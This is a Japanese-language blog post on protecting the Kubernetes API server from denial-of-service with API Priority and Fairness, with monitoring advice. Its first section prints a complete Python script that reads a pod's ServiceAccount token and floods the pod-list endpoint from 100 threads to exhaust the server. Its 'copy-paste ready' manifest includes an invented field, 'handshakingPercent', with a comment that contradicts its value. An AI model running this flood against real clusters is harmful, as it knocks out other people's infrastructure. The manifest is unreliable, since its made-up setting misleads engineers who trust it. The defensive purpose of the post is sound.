【実務・中級編】 Kubernetes APIサーバーのDoS攻撃対策とレート制限 – インフラ・ネットワーク & クラウドセキュリティ防御ガイド

お疲れ様。今日も現場のセキュリティ強化、ご苦労。最高セキュリティ責任者のシンジだ。

今回は、Kubernetesクラスタの「心臓」であり、攻撃者が真っ先に狙う超一等地――「Kubernetes APIサーバー(kube-apiserver)」のDoS(サービス拒否)対策について、泥臭い実務レベルの話をしよう。

「うちはプライベートネットワーク内にAPIサーバーを置いているから大丈夫」「踏み台経由だから平気」なんて高を括っていないか? その油断が命取りだ。侵害された1つのPod、漏洩したサービスアカウント(ServiceAccount)トークン、あるいは「無限ループのバグを仕込んでしまった自社のコンテナ」によって、APIサーバーは一瞬で過負荷に陥り、クラスタ全体が脳死状態になる。

APIサーバーが沈黙すれば、オートスケーリングは止まり、死んだコンテナの再起動もできず、障害検知すら不可能になる。まさにクラスタの完全停止だ。

今回は、攻撃者が実際に仕掛けてくるリクエスト枯渇攻撃の仕組み(PoC)を見せながら、それをAPIサーバーレベルで完全に封じ込める「APF(API Priority and Fairness)」の具体的な実装マニフェスト、そして絶対に設定しておくべきパラメータについて解説する。教科書通りの説明は抜きだ。現場で即効性のある防御策を叩き込むぞ。

—

1. 攻撃シナリオ:APIサーバーを窒息させる「リクエスト枯渇攻撃」の実態

まずは、攻撃者(またはバグを抱えたコンテナ)がどのようにAPIサーバーを攻撃するか、その手の内を知ろう。

APIサーバーはHTTP REST APIだ。リクエストを処理するたびに、CPUを消費し、etcdへ問い合わせを行い、メモリ上にオブジェクトを展開する。特に、以下のようなクエリは極めて重い。

  • kubectl get pods --all-namespaces (クラスタ全体の全リソースをリストアップする)
  • 大量の watch リクエストを接続したままにする

もし、侵害されたPod内のサービスアカウント(本来は限定的な権限しか持たないはずのもの)を使って、以下のような攻撃スクリプト(PoC)を並行実行されたらどうなるか。

攻撃PoC(Pythonによる超高並行負荷リクエスト)

以下は、脆弱なPodからAPIサーバーに対して、重い LIST リクエストをマルチスレッドで執拗に送りつけ、APIサーバーのコネクションスロット(並行処理枠)を食いつぶすスクリプトの例だ。

import threading
import requests
import urllib3

# 自己署名証明書の警告を非表示にする
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Pod内に自動マウントされるトークンとCA証明書のパス
TOKEN_PATH = "/var/run/secrets/kubernetes.io/serviceaccount/token"
API_SERVER = "https://kubernetes.default.svc"

def get_token():
    with open(TOKEN_PATH, "r") as f:
        return f.read().strip()

def attack_worker(token):
    headers = {
        "Authorization": f"Bearer {token}",
        "Accept": "application/json"
    }
    # 重いクエリ(全NamespaceのPodリスト取得)を無限ループで送りつける
    # これにより、APIサーバーのCPU/メモリと並行処理バッファを枯渇させる
    url = f"{API_SERVER}/api/v1/pods?limit=500"
    
    while True:
        try:
            response = requests.get(url, headers=headers, verify=False, timeout=5)
            print(f"Status: {response.status_code} | Data Length: {len(response.text)}")
        except Exception as e:
            # サーバーが過負荷で応答しなくなるとタイムアウトエラーが発生する
            print(f"Connection failed (Success of DoS): {e}")

if __name__ == "__main__":
    try:
        sa_token = get_token()
        print("[*] Starting DoS Attack to API Server...")
        # 100スレッドで同時にリクエストを爆撃
        threads = []
        for i in range(100):
            t = threading.Thread(target=attack_worker, args=(sa_token,))
            t.daemon = True
            threads.append(t)
            t.start()
            
        for t in threads:
            t.join()
    except KeyboardInterrupt:
        print("\n[*] Stopping attack.")

このスクリプトが実行されると、APIサーバーの処理能力は一瞬で上限に達する。管理者が kubectl get nodes を実行しようとしても、応答なし(タイムアウト)となり、システムは制御不能に陥る。

—

2. 古典的防御の限界:MaxRequestsInFlight だけでは防げない理由

Kubernetesには古くから、APIサーバーへの同時リクエスト数を制限する起動オプション(コマンドライン引数)が存在する。

  • --max-requests-in-flight(デフォルト: 400):読み込み系(GET, LIST, WATCH)の最大同時実行数。
  • --max-mutating-requests-in-flight(デフォルト: 200):書き込み系(POST, PUT, PATCH, DELETE)の最大同時実行数。

これらを超えたリクエストに対しては、APIサーバーは即座に HTTP 429 Too Many Requests を返す。

なぜこれだけでは不十分なのか?

この設定は「グローバル(一律)」に適用される。
つまり、1つの悪意あるコンテナ(あるいは暴走した開発者のスクリプト)が400枠の同時リクエスト枠をすべて使い果たすと、システム管理者の緊急オペレーション通信や、kubeletからの重要な死活監視通信まで一律で HTTP 429 で拒否されてしまうんだ。

これをセキュリティ業界では「ノイジーネイバー(うるさい隣人)によるDoSの波及」と呼ぶ。我々が本当にやりたいのは、「悪意ある、あるいは優先度の低いリクエストだけを間引き、管理通信やクリティカルなシステム通信は100%保護する」ことだ。

それを実現するのが、次に説明する APF(API Priority and Fairness) だ。

—

3. 完全防御のマスターキー:API Priority and Fairness (APF) の実装

Kubernetes v1.20以降でデフォルト有効(v1.29現在では完全に成熟した標準機能)となっているのが APF だ。

APFの考え方はシンプルだ。
1. FlowSchema (FS) で、流れてきたリクエストを「誰が」「どこに」「何をしようとしているか」で分類(フィルタリング)する。
2. 分類されたリクエストを PriorityLevelConfiguration (PLC) に割り当てる。
3. PLCごとに「座席数(並行処理枠)」と「キュー(待ち行列)の長さ」を定義し、特定の優先度が低いグループが座席を占有しても、他の優先度が高いグループの座席は常に空いている状態を作る。

実務で使える堅牢なAPF設計方針

今回は、以下の要件を満たすセキュアなAPF設定を実際にデプロイしよう。

  • 最優先(system-leaders等): 管理者(system:masters)やコントロールプレーンの通信。これらは絶対に制限せず、常に即時実行する。
  • 制限対象(untrusted-apps): 特定のNamespace(ここでは sandbox)や、特定の開発用サービスアカウントからのリクエスト。これらには厳しい並行処理制限と、短いキューを設定し、暴走しても他への影響をゼロにする。

【コピペで動く】セキュアなAPF設定マニフェスト

以下のYAMLをクラスタに適用することで、特定のサービスアカウントやNamespaceからのリクエストを隔離・制限できる。

apiVersion: flowcontrol.apiserver.k8s.io/v1beta3
kind: PriorityLevelConfiguration
metadata:
  name: sandbox-limited-plc
spec:
  type: Limited
  limited:
    # 割り当てる名目上の並行処理のシェア(値が小さいほど処理枠が狭くなる)
    nominalConcurrencyShares: 5
    # リクエストを一時的にバッファするキューの設定
    limitResponse:
      type: Queue
      queuing:
        # キューの数。値を増やすと衝突が減るがメモリを消費する
        queues: 64
        # 1つのキューに貯められる最大リクエスト数。これを超えると即座に HTTP 429 になる
        queueLengthLimit: 10
        # 待機中のリクエストの優先順位を決定する定数(通常は標準値の 1.0 でよい)
        handshakingPercent: 10
---
apiVersion: flowcontrol.apiserver.k8s.io/v1beta3
kind: FlowSchema
metadata:
  name: sandbox-apps-schema
spec:
  # 優先度(値が小さいほど、この FlowSchema が優先してマッチする)
  matchingPrecedence: 500
  # この FlowSchema にマッチしたリクエストを、上で定義した PLC に流し込む
  priorityLevelConfiguration:
    name: sandbox-limited-plc
  # マッチング条件の定義
  rules:
    - subjects:
        # sandboxネームスペース内のすべてのServiceAccountを対象にする
        - kind: ServiceAccount
          serviceAccount:
            name: "*"
            namespace: sandbox
      resourceRules:
        - verbs: ["*"]
          apiGroups: ["*"]
          resources: ["*"]

設定のポイント解説:

1. nominalConcurrencyShares: 5:
APIサーバー全体の処理能力から割り当てられる「パイの大きさ」を極めて小さく制限している。標準の workload-low などが 100 程度持っているのに比べ、5 は非常に低い。これにより、sandbox 内のPodがいくらリクエストを乱発しても、APIサーバーのCPUを占有することは不可能になる。
2. queueLengthLimit: 10:
待機キューの長さをあえて 10 と短くしている。攻撃や暴走が発生した際、リクエストはキューに溜まらず、即座に HTTP 429 Too Many Requests として破棄(フェイルファスト)される。これにより、APIサーバーのメモリ枯渇を防ぐことができる。

—

4. 運用フェーズでの盲点:導入して満足するな

APFを導入したら、次にやるべきは「本当に効果が出ているか」の継続的な監視(オブザーバビリティ)だ。
以下のPrometheusメトリクスを Grafana 等でダッシュボード化し、アラートを設定しておくことを強く推奨する。

監視すべき最重要メトリクス

1. apiserver_flowcontrol_rejected_requests_total

  • 意味: APFによって拒否(HTTP 429)されたリクエストの累計数。
  • アクション: この値が急増している場合、何らかのコンテナが暴走しているか、攻撃を受けている。または、正規のサービスに対してAPFの設定が厳しすぎる可能性がある。

2. apiserver_flowcontrol_current_inqueue_requests

  • 意味: 現在キューにたまっているリクエスト数。
  • アクション: 特定の priorityLevel でこの値が常時高止まりしている場合、スレッドプール(シェア)が不足している。設計を見直す必要がある。

Prometheusのクエリ例(Grafana用)

「拒否されたリクエスト」を優先度レベル(PLC)ごとに可視化するクエリだ。

sum(rate(apiserver_flowcontrol_rejected_requests_total[5m])) by (priority_level)

これをアラートに仕込んでおけば、攻撃が発生した瞬間に「どの優先度クラスでブロックが発生しているか」が秒単位で特定できる。

—

まとめ:インフラを過信するな。APIの「内側」を統制せよ

WAFやファイアウォールを設置しただけでセキュリティ対策を終えた気になっているチームは多い。しかし、Kubernetesのような高度に分散されたシステムにおいては、「内部の認証された主体(インサイダー、あるいは乗っ取られたPod)が引き起こすDoS」こそが、最も対処の難しい脅威となる。

今回紹介した APF (API Priority and Fairness) は、クラスタの防衛境界線をAPIサーバーのまさに「入り口」に構築する、極めて強力な盾だ。

  • 重いリクエストを乱発する開発環境や、テストNamespaceには厳しい制限(PLC)をかけること。
  • システム運用に必要な system:masters や kube-system 配下の通信は、絶対に制限しないFlowSchemaに保護すること。

この2点を徹底するだけで、君のKubernetesクラスタの堅牢性は劇的に向上する。

「動くからヨシ!」で済ませず、インフラの限界値を自らコントロールする。これが一流のチェイン・オブ・トラストを築くエンジニアの仕事だ。ぜひ、次のスプリントでこのマニフェストを組み込んでみてくれ。

また現場で会おう。健闘を祈る!

コメント

タイトルとURLをコピーしました